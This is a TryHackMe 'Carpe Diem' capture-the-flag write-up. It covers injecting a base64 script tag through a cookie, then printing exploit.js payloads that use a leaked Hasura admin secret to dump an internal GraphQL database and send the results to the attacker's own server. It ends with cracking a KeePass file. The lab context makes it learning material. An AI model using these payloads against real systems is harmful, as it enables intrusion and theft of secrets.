Carpe-Diem | Tryhackme | Writeup
Room: Carpe - diem Big shout out to the creator of this room: 4ndr34z
Overview: In this room we have retrieve the key which is used to encrypt a database file stored at /downloads/database.carpe. For me this room was too challenging and hence this writeup for all the coming folks. I have tried to explain everything so that the beginners could understand it easily.
Enumeration:
1. As usual we will start with NMAP scan
From port scan we found there is nothing unique or interesting running except the port 80. So we should open the website and do some enumeration.
2. This website is asking us to send proof of our bitcoin address..and only after that you can retrieve the key..(I think thats what the theme of this room .. a perfect ransomware attack)
3. After that we review the source code of the webpage and always read those javascripts.
Explanation:
- first this code is checking that you don't copy the same address and send to proof and if you do that it pop ups an alert saying "Hey! stupid as is stupid does" fine!!
- If your bitcoin address is different then it sends this address to http://c4rp3d13m.net/proof/ in the form of JSON {'size' : 42, 'proof': your addresss};
- Hence what we are going to do is, we will add this domain name to our /etc/hosts file so that site could access the /proof endpoint and send its request.
$ echo "ip c4rp3d1em.net" >> /etc/hosts
4. Now put some random address in that proof input box(you can just copy the above address but change atleast one character from it to bypass all the regex) and capture that request with your burp suite and send it to repeater tab(ctrl + R).

5. After that we start messing around with the request in the repeater. So what I found out was that if we increase the size from 42 to something very large then we could get the information overflow from the backend server. See the image below..
6. So out of the garbage we got something that might be of some use, x-hasura-admin-secret save all this for later use.
7. There is one thing more to this request which also interesting which is cookie. We can see that it is Base64 encode string. Decode that string and you will find out that it is your own IP address!
8. So this is a sophisticated type of attack in which we are going to inject a javascript in the cookie header adn retrieve our first flag.
Attack and Conquer:
1. Firstly, we are going to create js script payload and then encode it in Base64 format + url encode(if it has some + or = sign) and then inject it in cookie header.
<script src = <your-ip>:port/exploit.js></script>
Take the above payload replace it with your ip and port and encode it in base64 and replace = or + signs.
Oh, you might be wondering what is that exploit.js? right? wait there is lot more to come.. HANG TIGHT!
Exploit.js: In this file we are going to put our actual payload which will retrieve our first flag. In this we are going to do the same thing. First write your script, then encode it into base64.
After complete encoding and using eval( ) and atob( ) functions our exploit js will look like this.
2. Put your exploit.js in some folder and start your python server in that server.
$ python3 -m http.server
3. After that copy your first base64 encoded payload and put it into the cookie header of GET / request, remember that it is important to put it into the GET request.
It will look something like this..
Now the fun part.. Send your request and see the output in your terminal running python server.
See our script has been requested by the machine..Hey.. I am not going to give you the flag but you will find it.
So this was our first flag. And now it's time for the second flag.
Part-2 second flag (Danger)
So this is really tough part, atleast for me and I was not able to solve it until a great help was provided by @Szymex and also the room developere @4ndr34z.
Okay, you remembered that 'x-hasura-admin-secret' found in the information overflow? That is our lead.
Firstly, Hasura is a GraphQl API and I would recommend you to read Hasura documentation before moving furthrer. https://hasura.io/docs/1.0/graphql/manual/index.html
{ headers: {'content-type' : 'application/json','x-hasura-admin-secret' : 's3cr3754uc35432' connection failed http://192.168.150.10/v1/graphql/}}
We can say that there is some backend system which has graphQl installed and our victim server is trying to make a query to the graphQl but it is not able to connect.. why? The answer is in the documentation which says the graphQl api is running on the port 8080 which is missing from the above address.
Methodology to pull this attack:
- Make a javascript payload which makes a POST request to the backend system and query's it about the database, its tablename etc. After that send the response got from graphQl to our python server.(let's call it exploit.js)
- Convert the above payload in the base64 format same as above.
- Inject a javascript(<script src=xyz></script> in the cookie header which will fetch our exploit.js from our machine.
- Wait for GET request from backend.
convert this to base64 and put it into exploit.js (final).. it will look like something this
start your python3 server in the same directory.
- Open the burp suite capture the first Get request of c4rp3d13m.net and send it to the repeater.
- After that prepare a small js payload for sending your exploit.js through the cookie, remember we are doing the same thing as we have done in the first flag, hence I am not explaining it again...
Now wait for the GET request in your python server..it will look something like this
Decode this url encoding and you will get all the schema and methods in the underlying graphql.
Now to enumerate more I will use the queries from this awesome website.. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection
our script will look like this (don't forget to make the query one liner). But before that I want to tell you that you don't need to send your Get request again and again from the repeater.. just update your exploit.js and turn on the python3 server again you will get the response because the machine sending you the GET request every 2 minutes.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var req = new XMLHttpRequest(); | |
var data = '{"query":"fragment FullType on __Type {\n kind\n name\n description\nfields(includeDeprecated: true) {\n name\n description\n args{\n ...InputValue\n }\n type {\n ...TypeRef\n }\nisDeprecated\n deprecationReason\n }\n inputFields {\n ...InputValue\n }\ninterfaces {\n ...TypeRef\n }\n enumValues(includeDeprecated: true) {\nname\n description\n isDeprecated\n deprecationReason\n }\n possibleTypes{\n ...TypeRef\n }\n}\nfragment InputValue on __InputValue {\n name\ndescription\n type {\n ...TypeRef\n }\n defaultValue\n}\nfragment TypeRef on __Type {\n kind\n name\n ofType {\n kind\n name\n ofType {\n kind\nname\n ofType {\n kind\n name\n ofType {\n kind\nname\n ofType {\n kind\n name\n ofType {\nkind\n name\n ofType {\n kind\nname\n }\n }\n }\n }\n }\n }\n }\n}\n\nquery IntrospectionQuery {\n __schema {\n queryType {\n name\n }\nmutationType {\n name\n }\n types {\n ...FullType\n }\ndirectives {\n name\n description\n locations\n args{\n ...InputValue\n }\n }\n }\n}\n"}'; | |
var url = 'http://192.168.150.10:8080/v1/graphql/'; | |
req.open('POST',url,true); | |
req.setRequestHeader('Content-Type','application/json'); | |
req.setRequestHeader('x-hasura-admin-secret','s3cr3754uc35432'); | |
req.onreadystatechange = function(){ | |
if (req.readyState == 4 && req.status == 200){ | |
var l = new XMLHttpRequest(); | |
l.open('GET','http://10.8.21.114:8000/?q='+JSON.stringify(req.responseText)); | |
l.send(); | |
} | |
} | |
req.send(data); |
As in response we got a hell lot of data!! (note if your python server crashes by receiving large data try using btoa() function in place of JSON.stringify() in the exploit.js)
So, from the response we managed to pull the table name and queries we need to send to get our key
Now we just need to modify our exploit.js one last time..
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var req = new XMLHttpRequest(); | |
var data = '{"query":"{\n victims {\n filename\n id\n key\n name\n timer\n }\n}"}'; | |
var url = 'http://192.168.150.10:8080/v1/graphql/'; | |
req.open('POST',url,true); | |
req.setRequestHeader('Content-Type','application/json'); | |
req.setRequestHeader('x-hasura-admin-secret','s3cr3754uc35432'); | |
req.onreadystatechange = function(){ | |
if (req.readyState == 4 && req.status == 200){ | |
var l = new XMLHttpRequest(); | |
l.open('GET','http://10.8.21.114:8000/?q='+JSON.stringify(req.responseText)); | |
l.send(); | |
} | |
} | |
req.send(data); |
So, now we have the key and our Database.carp file, how to decrypt it? Go to c4rp3d13m.net/downloads and download the binary to decrypt the database.. And to my surprise this binary has no help how to use it ( This room motivated me to get up and bang my head against nice green wall and to be honest I refered to the official writeup for this..lol)
$~ ./decrypt_linux_amd64 your-key Database.carp Database.kbxd
Running the above command we a Database.kbxd file which is a keeppass file and here's how to decrypt it..
This room is never going to end....I think it will be easy to just pay the money and get your data back..😆
So how do we crack the master password.. well john got the way..
And now I googled how to use kpcli to show the key.. okay now it is going to end..
Here you got your final flag
I am not going to you the flag.. Bang your head and earn it, it worth it.
Again thanks to the creater for this insanely amazing room.
-DarkRider88
Great work bro can't earn flag
ReplyDeleteyou will get it eventually, don't give up
DeleteEsta muy bien, se me complica un poco, pero esta buena.
ReplyDelete